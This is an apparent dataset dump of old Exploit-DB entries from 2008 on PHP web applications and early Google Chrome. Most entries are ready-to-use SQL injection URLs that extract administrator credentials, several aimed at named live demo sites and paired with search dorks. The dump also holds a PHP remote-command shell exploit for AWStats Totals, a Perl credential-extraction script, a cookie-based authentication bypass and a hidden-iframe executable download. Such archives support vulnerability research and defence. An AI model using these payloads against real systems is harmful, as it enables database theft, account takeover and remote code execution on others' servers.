QLWD/code_shield huggingface dataset:
标题: Vastal I-Tech Jobs Zone - 'news_id' SQL Injection EDB-ID: 6378 CVE: 2008-4463 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
#  Vastal I-Tech Jobs Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/jobs-zone-classifieds-script.html
#
# Demo      : http://www.vastal.com/jobs/
#######################################################
Exploit:
http://site.il/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
http://site.il/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),version(),4,5,6,7/**/from/**/members/*
Live Demo
http://www.vastal.com/jobs/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
##############################################################################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6378
标题: ACG-ScriptShop - 'cid' SQL Injection EDB-ID: 6364 CVE: 2008-4144 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: |___________________________________________________|
|
|ACG-ScriptShop (cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=67
|
| DorK : inurl:index.php?menu=showcat
|___________________________________________________|

Exploit: 
________

www.[target].com/Script/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+coders--




Exploit: 2
________

www.[target].com/Script/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+resellers--




Exploit: 3
________

www.[target].com/Script/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,upass),3+from+users--




L!VE DEMO:
_________


http://www.discountedscripts.com/demos/acgshop/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+coders--


http://www.discountedscripts.com/demos/acgshop/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+resellers--



http://www.creative66.com/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,upass),3+from+users--

____________

Admin Login :

www.[target].com/Script/admin

____________
____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|  
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-09-04] URL: https://www.exploit-db.com/exploits/6364
标题: Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow EDB-ID: 6367 CVE: 2008-6994 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-05 漏洞利用脚本: PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.

Here is Description for this Vuln :
Â·          Type of Issue : Buffer Overflow. 
Â·          Affected Software : Google Chrome 0.2.149.27.      
Â·          Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
Â·          Impact: Remote code execution.
Â·          Rating : Critical .
Â·          Description :
The vulnerability is caused due to a boundary error when handling the â€œSaveAsâ€ function. On saving 
a malicious page with an overly long title (<title> tag in HTML), the program causes a stack-based overflow and makes 
it possible for attackers to execute arbitrary code on usersâ€™ systems.
Â·          How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code. 
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would 
be executed, giving him the privilege to make use of the affected system.
Â·          Discoverer : Le Duc Anh - SVRT - Bkis
Â·          About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes 
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols 
and embedded systemsâ€¦
Â·          Website : security.bkis.vn
Â·          Mail : svrt[at]bkav.com.vn

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6367.tgz (2008-chrome.tgz)

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6367
标题: Vastal I-Tech Toner Cart - 'id' SQL Injection EDB-ID: 6374 CVE: 2008-4467 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
# Vastal I-Tech Toner Cart ( show_series_ink.php id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $400.00
#
# Script Home Page : http://www.vastal.com/toner-cart-a-specialized-script-to-help-you-sell-toners-online.html
#
# Demo      : http://www.vastal.com/united/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/show_series_ink.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Live Demo:
# http://www.vastal.com/united/show_series_ink.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6374
标题: Vastal I-Tech Agent Zone - 'ann_id' SQL Injection EDB-ID: 6371 CVE: 2008-3951 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
# The Real Estate Script ( view_ann.php ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $399.99 (:
#
# Script Home Page : http://www.vastal.com/agent-zone-real-estate-script.html
#
# Demo      : http://www.vastal.com/real/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_ann.php?ann_id=-6+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Live Demo:
# http://www.vastal.com/real/view_ann.php?ann_id=-6+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6371
标题: AWStats Totals 1.14 - 'AWStatstotals.php' Remote Code Execution EDB-ID: 6368 CVE: 2008-3922 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: <?php
/* 
 * Remote Execution Exploit for AWStats Totals vulnerability (Interactive Shell) Version 2
 * 
 * Updated 05/09/08: The exploit now works with magic quotes on or off
 *  
 * Author: Ricardo Almeida
 * email:  ricardojba[at]aeiou[DoT]pt
 *
 * Greetz
 * The hacker webzine authored by Ronald van den Heetkamp for his code
 *
 * Credits: Vulnerabilities reported by Emory University.
 *          http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt 
 * 
 */ 

function wrap($url){
  $ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
  $op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
  $agent  = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
  # tor or other proxy
  $tor = '172.20.1.15:8080';
  $timeout = '300';
  $ack = curl_init(); 
  curl_setopt ($ack, CURLOPT_PROXY, $tor); 
  curl_setopt ($ack, CURLOPT_URL, $url);
  curl_setopt ($ack, CURLOPT_HEADER, 1);  
  curl_setopt ($ack, CURLOPT_USERAGENT, $agent); 
  curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
  $syn = curl_exec($ack);
  $info = curl_getinfo($ack);
  curl_close($ack);   

  if($info['http_code'] == '200') {
    return $syn;
    die();
  } else {
    return "Fail! :".$info['http_code']."\r\n";
  }
}

if ($argc != 3) {die("Usage: awtotalhack.php <host> <magic_quotes on or off>\nEx: awtotalhack.php host.tld on\n");}
array_shift($argv);
$host = $argv[0];
$magic = $argv[1];

# Start the interactive shell
while(1){
  fwrite(STDOUT, "[shell:~ # ");
  if ($magic == "on") {
    $c = str_split(trim(fgets(STDIN)));
    if (implode($c) == "exit") {die();};
    for($i=0;$i<count($c);$i++) {$c[$i] = "chr(".ord($c[$i]).")";}
    $cmd = implode("%2e", $c);
    $attackurl = "http://".$host."/"."awstatstotals.php?sort=%7b%24%7bpassthru%28".$cmd."%29%7d%7d%7b%24%7bexit%28%29%7d%7d";
    echo wrap($attackurl);
  } else if ($magic == "off") {
    $cmd = preg_replace('/ /','%20',trim(fgets(STDIN)));
    if ($cmd == "exit") {die();};
    $attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22";
    echo wrap($attackurl);
  }
}
?>

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6368
标题: Living Local Website - 'listtest.php' SQL Injection EDB-ID: 6361 CVE: 2008-3943 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-03 漏洞利用脚本: |___________________________________________________|
|
|  Living Local (listtest.php r) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.ezonescripts.com/scripts/sls/livinglocal.php
|
|___________________________________________________|

Exploit: 




www.[target].com/Script/listtest.php?r=-20+union+select+1,concat_ws(0x3a,user(),version(),database())--






L!VE DEMO:


http://www.ezonescripts.com/productdemos/LivingLocal/listtest.php?r=-20+union+select+1,concat_ws(0x3a,user(),version(),database())--




____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-09-03] URL: https://www.exploit-db.com/exploits/6361
标题: Google Chrome 0.2.149.27 - Automatic File Download EDB-ID: 6355 CVE: 2008-6996 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-03 漏洞利用脚本: ***************************************************************************
 Author: nerex
 E-mail: nerex[at]live[dot]com

 Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
 downloaded to the user's computer without any user prompt.

 This proof-of-concept was created for educational purposes only.
 Use the code it at your own risk.
 The author will not be responsible for any damages.

 Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03] URL: https://www.exploit-db.com/exploits/6355
标题: ACG-PTP 1.0.6 - 'adid' SQL Injection EDB-ID: 6362 CVE: 2008-3944 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: |___________________________________________________|
|
| ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=65
|
| DorK   : inurl:index.php?menu=adorder
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--






L!VE DEMO:
_________


http://www.discountedscripts.com/demos/acg-ptp/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--


____________

Admin Login :

www.[target].com/Script/admin/

____________




____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________




                             Im IRAQi

# milw0rm.com [2008-09-04] URL: https://www.exploit-db.com/exploits/6362
标题: Google Chrome 0.2.149.27 - Denial of Service EDB-ID: 6353 CVE: 2008-6995 类型: DOS 平台: WINDOWS 发布日期: 2008-09-03 漏洞利用脚本: ---------------------------------------------------
Software:
Google Chrome Browser 0.2.149.27

Tested:
Windows XP Professional SP3

Result:
Google Chrome Crashes with All Tabs

Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 
0.2.149.27. A crash can result without user interaction. When a user is made to visit 
a malicious link, which has an undefined handler followed by a 'special' character, 
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. 
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the 
EIP register at 0x01002FF4.

Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php

Credit:
Rishi Narang (psy.echo)
www.greyhat.in
www.evilfingers.com
---------------------------------------------------

PoC Working/Exploit:
Click for a demo &lt;a href="EVIL:%"&gt;HERE&lt;/a&gt;

# milw0rm.com [2008-09-03] URL: https://www.exploit-db.com/exploits/6353
标题: CS-Cart 1.3.5 - Authentication Bypass EDB-ID: 6352 CVE: 2008-6394 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: ##########################################################
# GulfTech Security Research           September 02, 2008
##########################################################
# Vendor : CS-Cart.com
# URL : http://www.cs-cart.com/
# Version : CS-Cart <= 1.3.5
# Risk : SQL Injection
##########################################################


Description:
CS-Cart Cart is a full featured online ecommerce application written
in php that allows users to build, run and promote an online store.
There is unfortunately a fairly serious SQL Injection issue within
CS-Cart that can be used to easily take over user and administrator
accounts, as well as used to retrieve arbitrary data from the database.
The CS-Cart team have released an updated version of CS-Cart to resolve
this issue, and users should upgrade as soon as possible.


SQL Injection:
There is a fairly serious SQL Injection issue in CS-Cart that, as
mentioned before, allows attackers to easily bypass authentication, or
retrieve arbitrary data from the underlying database. The vulnerable
code can be found in /core/user.php

if (fn_get_cookie(AREA_NAME . '_user_id')) {
    $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status,
    membership_id FROM $db_tables[users] WHERE user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'
    AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
    fn_define('LOGGED_VIA_COOKIE', true);
}

At the time of discovering this issue the fn_get_cookie() function did
nothing more than check if the specified cookie value was present, if
it was then it returned the value. This of course allowed for an SQL
Injection issue since an attacker can easily specify cookie data.

cs_cookies[customer_user_id]=1'/*;

For example an attacker could specify a cookie like the one shown above
and successfully log in as the customer with the id of 1 without ever
actually authenticating. Alternatively just about any data can be
retrieved via this method also since the injection happens right in the
middle of a select statement.



Solution:
An updated version of CS-Cart has been released to address these issues
and users can upgrade by visiting the CS-Cart website.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00128-09022008

# milw0rm.com [2008-09-02] URL: https://www.exploit-db.com/exploits/6352
标题: e107 Plugin BLOG Engine 2.2 - 'uid' SQL Injection EDB-ID: 6346 CVE: 2008-6438 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-01 漏洞利用脚本: #!/usr/bin/perl 
##############################################################
# e107 Plugin BLOG Engine v2.2  SQL Injection Exploit        # 
#               ..::virangar security team::..               # 
#                    www.virangar.net                        # 
#         C0d3d BY:virangar security team ( hadihadi  )      # 
#special tnx to:                                             # 
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra              # 
#& all virangar members & all hackerz                        # 
# my lovely friends hadi_aryaie2004 & arash(imm02tal)        # 
#             ..:::Young Iranina Hackerz::..                 # 
############################################################## 
 
 
use HTTP::Request; 
use LWP::UserAgent; 
 
if (@ARGV != 1){ 
header(); 
} 
$site = $ARGV[0]; 
 
$attack= "$site"."?uid=-99999%20union%20select%201,concat(0x3c757365723e,user_name,0x3c757365723e,user_password),3%20from%20e107_user%20where%20user_ 
id=1/*"; 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n"; 
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); 
$req = $b->request(HTTP::Request->new(GET=>$attack)); 
$res = $req->content; 
 
if ($res =~ /<user>(.*?)<user>/){ 
        print "\n[+] Admin User : $1";} 
if ($res =~/([0-9a-fA-F]{32})/){ 
print "\n[+] Admin Hash : $1\n\n"; 
print "\n[+]Done\n";} 
 
sub header { 
print qq{ 
################################################################### 
# e107 Plugin BLOG Engine v2.2  SQL Injection Exploit             # 
#                      www.virangar.net                           # 
#   Useage: perl $0 Host                                          # 
#                                                                 # 
#   Host: full patch to macgurublog.php (dont forget http://)     # 
#                                                                 # 
#  Example:                                                       # 
# perl $0 http://site/macgurublog_menu/macgurublog.php            # 
#                                                                 # 
################################################################### 
}; 
} 
#virangar.net[2008-05-22] 

# milw0rm.com [2008-09-01] URL: https://www.exploit-db.com/exploits/6346
标题: Reciprocal Links Manager 1.1 - 'site' SQL Injection EDB-ID: 6349 CVE: 2008-4086 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: |___________________________________________________|
|
| Reciprocal Links Manager 1.1 (site) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.sourceworkshop.com/reciprocal_links_manager.html
|
| DorK   : "Powered by Reciprocal Links Manager"
|___________________________________________________|

Exploit:
________



www.[target].com/Script/index.php?command=open&site=-1+union+select+concat_ws(user(),version(),database())--



L!VE DEMO:
_________


http://reciprocal.fastidev.com/index.php?command=open&site=-1+union+select+concat_ws(user(),version(),database())--





____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
| 
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-09-02] URL: https://www.exploit-db.com/exploits/6349
标题: myPHPNuke < 1.8.8_8rc2 - 'artid' SQL Injection EDB-ID: 6347 CVE: 2008-4092 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: ############################################################

SQL Injection vulnerability in myPHPNuke

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2398/

Description: There is SQL Injection vulnerability in printfeature.php in
myPHPNuke.

SQL Injection:

http://site/printfeature.php?artid=-1%20union%20select%20null,null,aid,pwd,null,null,null,null%20from%20mpn_authors%20limit%200,1

With this query you will receive login and password (hash) of administrator.

Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the
additional filters were added, so it is not vulnerable to this attack. But
version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL
Injection attack is possible (without using spaces and brackets).

############################################################

# milw0rm.com [2008-09-02] URL: https://www.exploit-db.com/exploits/6347